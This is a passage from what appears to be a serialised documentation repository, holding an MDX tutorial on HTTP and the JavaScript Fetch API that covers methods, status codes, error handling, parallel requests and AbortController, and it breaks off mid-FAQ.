href=\"https://www.youtube.com/watch?v=rRgD1yVwIvE\">\n    Practical, project-based approach to understanding map, filter, reduce, and other array HOFs.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/http-fetch.mdx",
    "content": "---\ntitle: \"HTTP & Fetch API\"\nsidebarTitle: \"Fetch API: Making HTTP Requests the Modern Way\"\ndescription: \"Learn the JavaScript Fetch API for HTTP requests. Covers GET, POST, response handling, JSON parsing, and AbortController.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Web Platform\"\n\"article:tag\": \"fetch API, HTTP requests, GET POST, JSON parsing, AbortController, network requests\"\n---\n\nHow does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API? The answer is the **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)**, JavaScript's modern way to make network requests. According to the HTTP Archive's 2023 Web Almanac, the median web page makes over 70 HTTP requests, making efficient network handling essential for performance.\n\n```javascript\n// This is how you fetch data in JavaScript\nconst response = await fetch('https://api.example.com/users/1')\nconst user = await response.json()\nconsole.log(user.name)  // \"Alice\"\n```\n\nBut to understand Fetch, you need to understand what's happening underneath: **[HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)**.\n\n<Info>\n**What you'll learn in this guide:**\n- How HTTP requests and responses work\n- The five main HTTP methods (GET, POST, PUT, PATCH, DELETE)\n- How to use the Fetch API to make requests\n- Reading and parsing JSON responses\n- The critical difference between network errors and HTTP errors\n- Modern patterns with async/await\n- How to cancel requests with AbortController\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). Fetch is Promise-based, so you'll need those concepts. If you're not comfortable with Promises yet, read that guide first!\n</Warning>\n\n## What is HTTP?\n\n**[HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP)** (Hypertext Transfer Protocol) is the foundation of data communication on the web. Originally defined in RFC 2616 and updated through RFC 7230-7235, it defines how messages are formatted and transmitted between clients (like web browsers) and servers. Every time you load a webpage, submit a form, or fetch data with JavaScript, HTTP is the protocol making that exchange possible.\n\n<Note>\n**HTTP is not JavaScript.** HTTP is a language-agnostic protocol. Python, Ruby, Go, Java, and every other language uses it too. We cover HTTP basics in this guide because understanding the protocol helps with using the Fetch API effectively. If you want to dive deeper into HTTP itself, check out the MDN resources below.\n</Note>\n\n<CardGroup cols={2}>\n  <Card title=\"HTTP — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP\">\n    Comprehensive guide to the HTTP protocol\n  </Card>\n  <Card title=\"An Overview of HTTP — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview\">\n    How HTTP works under the hood\n  </Card>\n</CardGroup>\n\n---\n\n## The Restaurant Analogy\n\nHTTP follows a simple pattern called **request-response**. To understand it, imagine you're at a restaurant:\n\n1. **You place an order** (the request) — \"I'd like the pasta, please\"\n2. **The waiter takes it to the kitchen** (the network) — your order travels to where the food is prepared\n3. **The kitchen prepares your meal** (the server) — they process your request and make your food\n4. **The waiter brings back your food** (the response) — you receive what you asked for (hopefully!)\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE REQUEST-RESPONSE CYCLE                        │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    YOU (Browser)                              KITCHEN (Server)           │\n│    ┌──────────┐                               ┌──────────────┐           │\n│    │          │  ──── \"I'd like pasta\" ────►  │              │           │\n│    │    :)    │         (REQUEST)             │    [chef]    │           │\n│    │          │                               │              │           │\n│    │          │  ◄──── Here you go! ────────  │              │           │\n│    │          │         (RESPONSE)            │              │           │\n│    └──────────┘                               └──────────────┘           │\n│                                                                          │\n│    The waiter (HTTP) is the protocol that makes this exchange work!      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nSometimes things go wrong:\n- **The kitchen is closed** (server is down) — You can't even place an order\n- **They're out of pasta** (404 Not Found) — The order was received, but they can't fulfill it\n- **Something's wrong in the kitchen** (500 Server Error) — They tried but something broke\n\nThis request-response cycle is the core of how the web works. The **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to participate in this cycle programmatically.\n\n---\n\n## How Does HTTP Work?\n\nBefore diving into the Fetch API, let's understand the key concepts of HTTP itself.\n\n### The Request-Response Model\n\nEvery HTTP interaction follows a simple pattern:\n\n<Steps>\n  <Step title=\"Client Sends Request\">\n    Your browser (the client) sends an HTTP request to a server. The request includes what you want (the URL), how you want it (the method), and any additional info (headers, body).\n  </Step>\n  \n  <Step title=\"Server Processes Request\">\n    The server receives the request, does whatever work is needed (database queries, calculations, etc.), and prepares a response.\n  </Step>\n  \n  <Step title=\"Server Sends Response\">\n    The server sends back an HTTP response containing a status code (success/failure), headers (metadata), and usually a body (the actual data).\n  </Step>\n  \n  <Step title=\"Client Handles Response\">\n    Your JavaScript code receives the response and does something with it: display data, show an error, redirect the user, etc.\n  </Step>\n</Steps>\n\n### HTTP Methods: What Do You Want to Do?\n\nHTTP methods tell the server what action you want to perform. Think of them as verbs:\n\n| Method | Purpose | Restaurant Analogy |\n|--------|---------|-------------------|\n| **GET** | Retrieve data | \"Can I see the menu?\" |\n| **POST** | Create new data | \"I'd like to place an order\" |\n| **PUT** | Update/replace data | \"Actually, change my order to pizza\" |\n| **PATCH** | Partially update data | \"Add extra cheese to my order\" |\n| **DELETE** | Remove data | \"Cancel my order\" |\n\n```javascript\n// GET - Retrieve a user\nfetch('/api/users/123')\n\n// POST - Create a new user\nfetch('/api/users', {\n  method: 'POST',\n  body: JSON.stringify({ name: 'Alice' })\n})\n\n// PUT - Replace a user\nfetch('/api/users/123', {\n  method: 'PUT',\n  body: JSON.stringify({ name: 'Alice Updated' })\n})\n\n// PATCH - Partially update a user\nfetch('/api/users/123', {\n  method: 'PATCH',\n  body: JSON.stringify({ name: 'New Name' })\n})\n\n// DELETE - Remove a user\nfetch('/api/users/123', {\n  method: 'DELETE'\n})\n```\n\n### HTTP Status Codes: What Happened?\n\nStatus codes are three-digit numbers that tell you how the request went:\n\n<AccordionGroup>\n  <Accordion title=\"2xx - Success\">\n    The request was received, understood, and accepted.\n    \n    - **200 OK** — Standard success response\n    - **201 Created** — New resource was created (common after POST)\n    - **204 No Content** — Success, but nothing to return (common after DELETE)\n    \n    ```javascript\n    // 200 OK example\n    const response = await fetch('/api/users/123')\n    console.log(response.status)  // 200\n    console.log(response.ok)      // true\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3xx - Redirection\">\n    The resource has moved somewhere else.\n    \n    - **301 Moved Permanently** — Resource has a new permanent URL\n    - **302 Found** — Temporary redirect\n    - **304 Not Modified** — Use your cached version\n    \n    Fetch follows redirects automatically by default.\n  </Accordion>\n  \n  <Accordion title=\"4xx - Client Errors\">\n    Something is wrong with your request.\n    \n    - **400 Bad Request** — Malformed request syntax\n    - **401 Unauthorized** — Authentication required\n    - **403 Forbidden** — You don't have permission\n    - **404 Not Found** — Resource doesn't exist\n    - **422 Unprocessable Entity** — Validation failed\n    \n    ```javascript\n    // 404 Not Found example\n    const response = await fetch('/api/users/999999')\n    console.log(response.status)  // 404\n    console.log(response.ok)      // false\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5xx - Server Errors\">\n    Something went wrong on the server.\n    \n    - **500 Internal Server Error** — Generic server error\n    - **502 Bad Gateway** — Server got invalid response from upstream\n    - **503 Service Unavailable** — Server is overloaded or down for maintenance\n    \n    ```javascript\n    // 500 error example\n    const response = await fetch('/api/broken-endpoint')\n    console.log(response.status)  // 500\n    console.log(response.ok)      // false\n    ```\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Quick Rule of Thumb:**\n- **2xx** = \"Here's what you asked for\"\n- **3xx** = \"Go look over there\"\n- **4xx** = \"You messed up\"\n- **5xx** = \"We messed up\"\n</Tip>\n\n---\n\n## What is the Fetch API?\n\nThe **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern interface for making HTTP requests. It provides a cleaner, Promise-based alternative to the older **[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)**, letting you send requests to servers and handle responses with simple, readable code. Every modern browser supports Fetch natively.\n\n```javascript\n// Fetch in its simplest form\nconst response = await fetch('https://api.example.com/data')\nconst data = await response.json()\nconsole.log(data)\n```\n\n### Before Fetch: The XMLHttpRequest Days\n\nBefore Fetch existed, developers used XMLHttpRequest (XHR), a verbose, callback-based API that powered \"AJAX\" requests. Libraries like **[jQuery](https://jquery.com/)** became popular partly because they simplified this painful process. jQuery was revolutionary for JavaScript. For many years it was the go-to library that made DOM manipulation, animations, and AJAX requests much easier. It changed how developers wrote JavaScript and shaped the modern web.\n\n```javascript\n// The old way: XMLHttpRequest (verbose and callback-based)\nconst xhr = new XMLHttpRequest()\nxhr.open('GET', 'https://api.example.com/data')\nxhr.onload = function() {\n  if (xhr.status === 200) {\n    const data = JSON.parse(xhr.responseText)\n    console.log(data)\n  }\n}\nxhr.onerror = function() {\n  console.error('Request failed')\n}\nxhr.send()\n\n// The modern way: Fetch (clean and Promise-based)\nconst response = await fetch('https://api.example.com/data')\nconst data = await response.json()\nconsole.log(data)\n```\n\nUnlike XMLHttpRequest, Fetch:\n- Returns **[Promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)** instead of using callbacks\n- Uses **[Request](https://developer.mozilla.org/en-US/docs/Web/API/Request)** and **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** objects for cleaner APIs\n- Integrates naturally with **async/await** syntax\n- Supports streaming responses out of the box\n\n<Tip>\n**You no longer need jQuery for AJAX.** The Fetch API is built into every modern browser, making libraries unnecessary for basic HTTP requests.\n</Tip>\n\n---\n\n## How to Use the Fetch API\n\nNow that you understand what Fetch is and how it compares to older approaches, let's dive into the details of using it effectively.\n\n### How to Make a Fetch Request\n\n<Steps>\n  <Step title=\"Call fetch() with a URL\">\n    The `fetch()` function takes a URL and returns a Promise that resolves to a Response object. By default, it makes a GET request.\n  </Step>\n  <Step title=\"Check if the response was successful\">\n    Always verify `response.ok` before processing. Fetch doesn't throw errors for HTTP status codes like 404 or 500.\n  </Step>\n  <Step title=\"Parse the response body\">\n    Use `response.json()` for JSON data or `response.text()` for plain text. These methods return another Promise.\n  </Step>\n  <Step title=\"Handle errors properly\">\n    Wrap everything in try/catch to handle both network failures and HTTP error responses.\n  </Step>\n</Steps>\n\nHere's what this looks like in code. By default, `fetch()` uses the **GET** method, so you don't need to specify it. There are two ways to write this:\n\n<Tabs>\n  <Tab title=\"Promise .then()\">\n    ```javascript\n    // Basic fetch - returns a Promise\n    fetch('https://api.example.com/users')\n      .then(response => response.json())\n      .then(data => console.log(data))\n      .catch(error => console.error('Error:', error))\n    ```\n    \n    Let's break this down step by step:\n    \n    ```javascript\n    // Step 1: fetch() returns a Promise that resolves to a Response object\n    const responsePromise = fetch('https://api.example.com/users')\n\n    // Step 2: When the response arrives, we get a Response object\n    responsePromise.then(response => {\n      console.log(response.status)      // 200\n      console.log(response.ok)          // true\n      console.log(response.headers)     // Headers object\n      \n      // Step 3: The body is a stream, we need to parse it\n      // .json() returns ANOTHER Promise\n      return response.json()\n    })\n    .then(data => {\n      // Step 4: Now we have the actual data\n      console.log(data)  // { users: [...] }\n    })\n    ```\n  </Tab>\n  <Tab title=\"async/await\">\n    ```javascript\n    // Using async/await - cleaner syntax\n    async function getUsers() {\n      try {\n        const response = await fetch('https://api.example.com/users')\n        const data = await response.json()\n        console.log(data)\n      } catch (error) {\n        console.error('Error:', error)\n      }\n    }\n    ```\n    \n    Let's break this down step by step:\n    \n    ```javascript\n    async function getUsers() {\n      // Step 1: await pauses until the Response arrives\n      const response = await fetch('https://api.example.com/users')\n      \n      console.log(response.status)      // 200\n      console.log(response.ok)          // true\n      console.log(response.headers)     // Headers object\n      \n      // Step 2: await again to read and parse the body\n      const data = await response.json()\n      \n      // Step 3: Now we have the actual data\n      console.log(data)  // { users: [...] }\n    }\n    ```\n  </Tab>\n</Tabs>\n\n<Tip>\n**Which should you use?** `async/await` is generally preferred for its cleaner, more readable syntax. Use `.then()` chains when you need to integrate with older codebases or when you specifically want to avoid async functions.\n</Tip>\n\n### Understanding the Response Object\n\nWhen `fetch()` resolves, you get a **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object. This object contains everything about the server's reply: status codes, headers, and methods to read the body:\n\n```javascript\nconst response = await fetch('https://api.example.com/users/1')\n\n// Status information\nresponse.status      // 200, 404, 500, etc.\nresponse.statusText  // \"OK\", \"Not Found\", \"Internal Server Error\"\nresponse.ok          // true if status is 200-299\n\n// Response metadata\nresponse.headers     // Headers object\nresponse.url         // Final URL (after redirects)\nresponse.type        // \"basic\", \"cors\", etc.\nresponse.redirected  // true if response came from a redirect\n\n// Body methods (each returns a Promise)\nresponse.json()        // Parse body as JSON\nresponse.text()        // Parse body as plain text\nresponse.blob()        // Parse body as binary Blob\nresponse.formData()    // Parse body as FormData\nresponse.arrayBuffer() // Parse body as ArrayBuffer\nresponse.bytes()       // Parse body as Uint8Array\n```\n\n<Warning>\n**Important:** The body can only be read once! If you call `response.json()`, you can't call `response.text()` afterward. If you need to read it multiple times, clone the response first with `response.clone()`.\n</Warning>\n\n### Reading JSON Data\n\nMost modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format. The Response object has a built-in `.json()` method that parses the body and returns a JavaScript object:\n\n```javascript\nasync function getUser(id) {\n  const response = await fetch(`https://api.example.com/users/${id}`)\n  const user = await response.json()\n  \n  console.log(user.name)   // \"Alice\"\n  console.log(user.email)  // \"alice@example.com\"\n  \n  return user\n}\n```\n\n### Sending Data with POST\n\nSo far we've only *retrieved* data. But what about *sending* data, like creating a user account or submitting a form?\n\nThat's where **[POST](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST)** comes in. It's the HTTP method that tells the server \"I'm sending you data to create something new.\" To make a POST request, you need to specify the method, set a `Content-Type` header, and include your data in the body:\n\n```javascript\nasync function createUser(userData) {\n  const response = await fetch('https://api.example.com/users', {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json'\n    },\n    body: JSON.stringify(userData)\n  })\n  \n  const newUser = await response.json()\n  return newUser\n}\n\n// Usage\nconst user = await createUser({\n  name: 'Bob',\n  email: 'bob@example.com'\n})\nconsole.log(user.id)  // New user's ID from server\n```\n\n### Setting Headers\n\n**[HTTP headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)** are metadata you send with your request: things like authentication tokens, content types, and caching instructions. You pass them as an object in the `headers` option:\n\n```javascript\nconst response = await fetch('https://api.example.com/data', {\n  method: 'GET',\n  headers: {\n    // Tell server what format we want\n    'Accept': 'application/json',\n    \n    // Authentication token\n    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIs...',\n    \n    // Custom header\n    'X-Custom-Header': 'custom-value'\n  }\n})\n```\n\nCommon headers you'll use:\n\n| Header | Purpose |\n|--------|---------|\n| `Content-Type` | Format of data you're sending (e.g., `application/json`) |\n| `Accept` | Format of data you want back |\n| `Authorization` | Authentication credentials |\n| `Cache-Control` | Caching instructions |\n\n### Building URLs with Query Parameters\n\nWhen fetching data, you often need to include query parameters (e.g., `/api/search?q=javascript&page=1`). Use the **[URL](https://developer.mozilla.org/en-US/docs/Web/API/URL)** and **[URLSearchParams](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams)** APIs to build URLs safely:\n\n```javascript\n// Building a URL with query parameters\nconst url = new URL('https://api.example.com/search')\nurl.searchParams.set('q', 'javascript')\nurl.searchParams.set('page', '1')\nurl.searchParams.set('limit', '10')\n\nconsole.log(url.toString())\n// \"https://api.example.com/search?q=javascript&page=1&limit=10\"\n\n// Use with fetch\nconst response = await fetch(url)\n```\n\nYou can also use `URLSearchParams` directly:\n\n```javascript\nconst params = new URLSearchParams({\n  q: 'javascript',\n  page: '1'\n})\n\n// Append to a URL string\nconst response = await fetch(`/api/search?${params}`)\n```\n\n<Tip>\n**Why use URL/URLSearchParams instead of string concatenation?** These APIs automatically handle URL encoding for special characters. If a user searches for \"C++ tutorial\", it becomes `q=C%2B%2B+tutorial`. Something you'd have to handle manually with string concatenation.\n</Tip>\n\n---\n\n## The #1 Fetch Mistake\n\nHere's a mistake almost every developer makes when learning fetch:\n\n> \"I wrapped my fetch in try/catch, so I'm handling all errors... right?\"\n\n**Wrong.** The problem? `fetch()` only throws an error when the *network* fails, not when the server returns a 404 or 500. A \"Page Not Found\" response is still a successful network request from fetch's perspective!\n\n### Two Types of \"Errors\"\n\nWhen working with `fetch()`, there are two completely different types of failures:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         TWO TYPES OF FAILURES                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  1. NETWORK ERRORS                    2. HTTP ERROR RESPONSES            │\n│  ────────────────────                 ───────────────────────            │\n│                                                                          │\n│  • Server unreachable                 • Server responded with error      │\n│  • DNS lookup failed                  • 404 Not Found                    │\n│  • No internet connection             • 500 Internal Server Error        │\n│  • Request timed out                  • 401 Unauthorized                 │\n│  • CORS blocked                       • 403 Forbidden                    │\n│                                                                          │\n│  Promise REJECTS ❌                   Promise RESOLVES ✓                 │\n│  Goes to .catch()                     response.ok is false               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Warning>\n**The Trap:** `fetch()` only rejects its Promise for network errors. An HTTP 404 or 500 response is still a \"successful\" fetch. The network request completed! You must check `response.ok` to detect HTTP errors.\n</Warning>\n\n### The Mistake: Only Catching Network Errors\n\nThis code looks fine, but it has a subtle bug. HTTP errors like 404 or 500 slip right through the catch block:\n\n```javascript\n// ❌ WRONG - This misses HTTP errors!\ntry {\n  const response = await fetch('/api/users/999')\n  const data = await response.json()\n  console.log(data)  // Might be an error object!\n} catch (error) {\n  // Only catches NETWORK errors\n  // A 404 response WON'T end up here!\n  console.error('Error:', error)\n}\n```\n\n### The Fix: Always Check response.ok\n\nThe solution is simple: check `response.ok` before assuming success. This property is `true` for status codes 200-299 and `false` for everything else:\n\n```javascript\n// ✓ CORRECT - Check response.ok\nasync function fetchUser(id) {\n  try {\n    const response = await fetch(`/api/users/${id}`)\n    \n    // Check if the HTTP response was successful\n    if (!response.ok) {\n      // HTTP error (4xx, 5xx) - throw to catch block\n      throw new Error(`HTTP error! Status: ${response.status}`)\n    }\n    \n    const data = await response.json()\n    return data\n    \n  } catch (error) {\n    // Now this catches BOTH network errors AND HTTP errors\n    console.error('Fetch failed:', error.message)\n    throw error\n  }\n}\n```\n\n### Building a Reusable Fetch Helper\n\nHere's a pattern you can use in real projects: a wrapper function that handles the `response.ok` check for you:\n\n```javascript\nasync function fetchJSON(url, options = {}) {\n  const response = await fetch(url, {\n    headers: {\n      'Content-Type': 'application/json',\n      ...options.headers\n    },\n    ...options\n  })\n  \n  // Handle HTTP errors\n  if (!response.ok) {\n    const error = new Error(`HTTP ${response.status}: ${response.statusText}`)\n    error.status = response.status\n    error.response = response\n    throw error\n  }\n  \n  // Handle empty responses (like 204 No Content)\n  if (response.status === 204) {\n    return null\n  }\n  \n  return response.json()\n}\n\n// Usage\ntry {\n  const user = await fetchJSON('/api/users/1')\n  console.log(user)\n} catch (error) {\n  if (error.status === 404) {\n    console.log('User not found')\n  } else if (error.status >= 500) {\n    console.log('Server error, try again later')\n  } else {\n    console.log('Request failed:', error.message)\n  }\n}\n```\n\n---\n\n## How to Use async/await with Fetch\n\nThe examples above use `.then()` chains, but modern JavaScript has a cleaner syntax: `async/await`. If you're not familiar with it, check out our [async/await concept](/concepts/async-await) first. It'll make your fetch code much easier to read.\n\n### Basic async/await Pattern\n\n```javascript\nasync function loadUserProfile(userId) {\n  try {\n    const response = await fetch(`/api/users/${userId}`)\n    \n    if (!response.ok) {\n      throw new Error(`Failed to load user: ${response.status}`)\n    }\n    \n    const user = await response.json()\n    return user\n    \n  } catch (error) {\n    console.error('Error loading profile:', error)\n    return null\n  }\n}\n\n// Usage\nconst user = await loadUserProfile(123)\nif (user) {\n  console.log(`Welcome, ${user.name}!`)\n}\n```\n\n### Parallel Requests\n\nNeed to fetch multiple resources? Don't await them one by one:\n\n```javascript\n// ❌ SLOW - Sequential requests (one after another)\nasync function loadDashboardSlow() {\n  const user = await fetch('/api/user').then(r => r.json())\n  const posts = await fetch('/api/posts').then(r => r.json())\n  const notifications = await fetch('/api/notifications').then(r => r.json())\n  // Total time: user + posts + notifications\n  return { user, posts, notifications }\n}\n\n// ✓ FAST - Parallel requests (all at once)\nasync function loadDashboardFast() {\n  const [user, posts, notifications] = await Promise.all([\n    fetch('/api/user').then(r => r.json()),\n    fetch('/api/posts').then(r => r.json()),\n    fetch('/api/notifications').then(r => r.json())\n  ])\n  // Total time: max(user, posts, notifications)\n  return { user, posts, notifications }\n}\n```\n\n### Loading States Pattern\n\nIn real applications, you need to track loading and error states:\n\n```javascript\nasync function fetchWithState(url) {\n  const state = {\n    data: null,\n    loading: true,\n    error: null\n  }\n  \n  try {\n    const response = await fetch(url)\n    \n    if (!response.ok) {\n      throw new Error(`HTTP ${response.status}`)\n    }\n    \n    state.data = await response.json()\n  } catch (error) {\n    state.error = error.message\n  } finally {\n    state.loading = false\n  }\n  \n  return state\n}\n\n// Usage\nconst result = await fetchWithState('/api/users')\n\nif (result.loading) {\n  console.log('Loading...')\n} else if (result.error) {\n  console.log('Error:', result.error)\n} else {\n  console.log('Data:', result.data)\n}\n```\n\n---\n\n## How to Cancel Requests\n\nThe **[AbortController](https://developer.mozilla.org/en-US/docs/Web/API/AbortController)** API lets you cancel in-flight fetch requests. This is useful for:\n\n- **Timeouts** — Cancel requests that take too long\n- **User navigation** — Cancel pending requests when user leaves a page\n- **Search inputs** — Cancel the previous search when user types new characters\n- **Component cleanup** — Cancel requests when a React/Vue component unmounts\n\nWithout AbortController, abandoned requests continue running in the background, wasting bandwidth and potentially causing bugs when their responses arrive after you no longer need them.\n\n### How It Works\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         ABORTCONTROLLER FLOW                            │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   1. Create controller         2. Pass signal to fetch                   │\n│   ┌─────────────────────┐      ┌─────────────────────────────────┐       │\n│   │ const controller =  │      │ fetch(url, {                    │       │\n│   │   new AbortController│ ───► │   signal: controller.signal    │       │\n│   └─────────────────────┘      │ })                              │       │\n│                                └─────────────────────────────────┘       │\n│                                                                          │\n│   3. Call abort() to cancel    4. Fetch rejects with AbortError          │\n│   ┌─────────────────────┐      ┌─────────────────────────────────┐       │\n│   │ controller.abort()  │ ───► │ catch (error) {                 │       │\n│   └─────────────────────┘      │   error.name === 'AbortError'   │       │\n│                                │ }                               │       │\n│                                └─────────────────────────────────┘       │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Basic AbortController Usage\n\n```javascript\n// Create a controller\nconst controller = new AbortController()\n\n// Pass its signal to fetch\nfetch('/api/slow-endpoint', {\n  signal: controller.signal\n})\n  .then(response => response.json())\n  .then(data => console.log(data))\n  .catch(error => {\n    if (error.name === 'AbortError') {\n      console.log('Request was cancelled')\n    } else {\n      console.error('Request failed:', error)\n    }\n  })\n\n// Cancel the request after 5 seconds\nsetTimeout(() => {\n  controller.abort()\n}, 5000)\n```\n\n### Timeout Pattern\n\nCreate a reusable timeout wrapper:\n\n```javascript\nasync function fetchWithTimeout(url, options = {}, timeout = 5000) {\n  const controller = new AbortController()\n  \n  // Set up timeout\n  const timeoutId = setTimeout(() => {\n    controller.abort()\n  }, timeout)\n  \n  try {\n    const response = await fetch(url, {\n      ...options,\n      signal: controller.signal\n    })\n    \n    clearTimeout(timeoutId)\n    return response\n    \n  } catch (error) {\n    clearTimeout(timeoutId)\n    \n    if (error.name === 'AbortError') {\n      throw new Error(`Request timed out after ${timeout}ms`)\n    }\n    \n    throw error\n  }\n}\n\n// Usage\ntry {\n  const response = await fetchWithTimeout('/api/data', {}, 3000)\n  const data = await response.json()\n} catch (error) {\n  console.error(error.message)  // \"Request timed out after 3000ms\"\n}\n```\n\n### Search Input Pattern\n\nCancel previous search when user types:\n\n```javascript\nlet currentController = null\n\nasync function searchUsers(query) {\n  // Cancel any in-flight request\n  if (currentController) {\n    currentController.abort()\n  }\n  \n  // Create new controller for this request\n  currentController = new AbortController()\n  \n  try {\n    const response = await fetch(`/api/search?q=${query}`, {\n      signal: currentController.signal\n    })\n    \n    if (!response.ok) throw new Error('Search failed')\n    \n    return await response.json()\n    \n  } catch (error) {\n    if (error.name === 'AbortError') {\n      // Ignore - we cancelled this on purpose\n      return null\n    }\n    throw error\n  }\n}\n\n// As user types, only the last request matters\nsearchInput.addEventListener('input', async (e) => {\n  const results = await searchUsers(e.target.value)\n  if (results) {\n    displayResults(results)\n  }\n})\n```\n\n<Note>\nThis example uses browser DOM APIs (`addEventListener`, `searchInput`). In Node.js or server-side contexts, you would trigger the search function differently, but the AbortController pattern remains the same.\n</Note>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **HTTP is request-response** — Client sends a request, server sends a response\n\n2. **HTTP methods are verbs** — GET (read), POST (create), PUT (update), DELETE (remove)\n\n3. **Status codes tell you what happened** — 2xx (success), 4xx (your fault), 5xx (server's fault)\n\n4. **Fetch returns a Promise** — It resolves to a Response object, not directly to data\n\n5. **Response.json() is also a Promise** — You need to await it too\n\n6. **Fetch only rejects on network errors** — HTTP 404/500 still \"succeeds\" — check `response.ok`!\n\n7. **Always check response.ok** — This is the most common fetch mistake\n\n8. **Use async/await** — It's cleaner than Promise chains\n\n9. **Use Promise.all for parallel requests** — Don't await sequentially when you don't have to\n\n10. **AbortController cancels requests** — Useful for search inputs and cleanup\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between a network error and an HTTP error in fetch?\">\n    **Answer:**\n    \n    - **Network errors** occur when the request can't be completed at all — server unreachable, DNS failure, no internet, CORS blocked, etc. These cause the fetch Promise to **reject**.\n    \n    - **HTTP errors** occur when the server responds with an error status code (4xx, 5xx). The request completed successfully (the network worked), so the Promise **resolves**. You must check `response.ok` to detect these.\n    \n    ```javascript\n    try {\n      const response = await fetch('/api/data')\n      \n      // This line runs even for 404, 500, etc.!\n      if (!response.ok) {\n        throw new Error(`HTTP ${response.status}`)\n      }\n      \n      const data = await response.json()\n    } catch (error) {\n      // Now catches both types\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why does response.json() return a Promise?\">\n    **Answer:** The response body is a readable stream that might still be downloading when `fetch()` resolves. The `response.json()` method reads the entire stream and parses it as JSON, which is an asynchronous operation.\n    \n    This is why you need to `await` it:\n    \n    ```javascript\n    const response = await fetch('/api/data')  // Response headers arrived\n    const data = await response.json()         // Body fully downloaded & parsed\n    ```\n    \n    The same applies to `response.text()`, `response.blob()`, etc.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you send JSON data in a POST request?\">\n    **Answer:** You need to:\n    1. Set the method to 'POST'\n    2. Set the Content-Type header to 'application/json'\n    3. Stringify your data in the body\n    \n    ```javascript\n    const response = await fetch('/api/users', {\n      method: 'POST',\n      headers: {\n        'Content-Type': 'application/json'\n      },\n      body: JSON.stringify({\n        name: 'Alice',\n        email: 'alice@example.com'\n      })\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does response.ok mean?\">\n    **Answer:** `response.ok` is a boolean that's `true` if the HTTP status code is in the 200-299 range (success), and `false` otherwise.\n    \n    It's a convenient shorthand for checking if the request succeeded:\n    \n    ```javascript\n    // These are equivalent:\n    if (response.ok) { ... }\n    if (response.status >= 200 && response.status < 300) { ... }\n    ```\n    \n    Common values:\n    - 200, 201, 204 → `ok` is `true`\n    - 400, 401, 404, 500 → `ok` is `false`\n  </Accordion>\n  \n  <Accordion title=\"Question 5: How do you cancel a fetch request?\">\n    **Answer:** Use an `AbortController`:\n    \n    ```javascript\n    // 1. Create controller\n    const controller = new AbortController()\n    \n    // 2. Pass its signal to fetch\n    fetch('/api/data', { signal: controller.signal })\n      .then(r => r.json())\n      .catch(error => {\n        if (error.name === 'AbortError') {\n          console.log('Cancelled!')\n        }\n      })\n    \n    // 3. Call abort() to cancel\n    controller.abort()\n    ```\n    \n    Common use cases:\n    - Timeout implementation\n    - Cancelling when user navigates away\n    - Cancelling previous search when user types new input\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you make multiple fetch requests in parallel?\">\n    **Answer:** Use `Promise.all()` to run requests concurrently:\n    \n    ```javascript\n    // ✓ Parallel - fast\n    const [users, posts, comments] = await Promise.all([\n      fetch('/api/users').then(r => r.json()),\n      fetch('/api/posts').then(r => r.json()),\n      fetch('/api/comments').then(r => r.json())\n    ])\n    \n    // ❌ Sequential - slow (each waits for the previous)\n    const users = await fetch('/api/users').then(r => r.json())\n    const posts = await fetch('/api/posts').then(r => r.json())\n    const comments = await fetch('/api/comments').then(r => r.json())\n    ```\n    \n    Parallel requests complete in the time of the slowest request, not the sum of all requests.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the Fetch API in JavaScript?\">\n    The Fetch API is JavaScript's modern interface for making HTTP requests. It returns Promises, supports streaming responses, and works with the Request and Response objects defined in the WHATWG Fetch Living Standard. It replaced the older XMLHttpRequest API and is now supported in all modern browsers and Node.js 18+.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between fetch and 